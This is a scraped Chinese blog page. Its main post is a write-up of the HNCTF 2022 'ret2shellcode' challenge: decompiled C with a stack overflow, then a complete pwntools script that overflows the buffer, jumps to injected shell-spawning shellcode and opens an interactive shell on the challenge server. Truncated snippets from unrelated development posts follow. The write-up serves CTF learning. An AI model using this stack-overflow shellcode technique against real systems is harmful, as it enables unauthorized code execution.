news 2026/6/23 21:11:37

[HNCTF 2022 Week1]ret2shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[HNCTF 2022 Week1]ret2shellcode

第一次打CTF——PWN篇学习笔记17

int __fastcall main(int argc, const char **argv, const char **envp) { char s[256]; // [rsp+0h] [rbp-100h] BYREF ​ setbuf(stdin, 0); setbuf(stderr, 0); setbuf(stdout, 0); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); memset(s, 0, sizeof(s)); read(0, s, 0x110u); strcpy(buff, s); return 0; }

checksec一下没有特殊的保护机制,程序先把stdout所在的内存页变成可读可写可执行,然后read一下发生栈溢出再将s的内容拷贝到buff中,因此我们可以构造payload使其前部分为没有'\0'的shellcode,接着覆盖返回地址到buff来执行shellcode从而获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./shellcode') io = remote("node5.anna.nssctf.cn",23229) ​ buff = 0x4040A0 ​ shellcode = asm(shellcraft.sh()) ​ payload = shellcode.ljust(0x100 + 8,b'A') + p64(buff) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 3:45:24

前端Vue使用js-audio-plugin实现录音功能

在前端 Vue 项目中使用 js-audio-recorder 组件,可按以下流程进行操作:安装组件:在项目根目录下执行npm i js-audio-recorder命令,安装该组件。引入组件:在需要使用录音功能的 Vue 组件中,通过import Recor…

作者头像 李华
网站建设 2026/6/23 20:27:14

测试用例之翻页功能详解

🍅 点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快翻页功能在平时测试中主要有这几个功能,我们就以这几个功能为主来编写测试用例:1、上一页,下一页,首页,尾…

作者头像 李华
网站建设 2026/6/23 12:11:31

根据您提供的 package.json 片段,涉及的 @vue/cli-plugin-babel 和 @vue/cli-service 版本为 ~4.2.0。以下是针对该版本的详细解决方案,结合相关依

根据您提供的 package.json 片段,涉及的 vue/cli-plugin-babel 和 vue/cli-service 版本为 ~4.2.0。以下是针对该版本的详细解决方案,结合相关依赖冲突问题:1. ‌核心依赖冲突处理‌‌问题‌:vue/cli-plugin-babel 和 vue/cli-ser…

作者头像 李华
网站建设 2026/6/23 3:05:01

electron-egg打包win7

node版本 v16.17.1 项目依赖版本"devDependencies": {"electron/rebuild": "^3.2.5","types/node": "16.18.88","debug": "^4.4.0","ee-bin": "^4.1.10","electron": &q…

作者头像 李华
网站建设 2026/6/23 7:37:06

8种网络故障分析及测试命令大全

对于网络工程师来说,在平常工作中,最基础的工作能力就是要保证网络顺畅不出错误。但实际上,网络随时都可能发生故障,影响正常工作,从而导致网络工程师总是要背很多黑锅;所以快速解决网络故障已经成为网工的…

作者头像 李华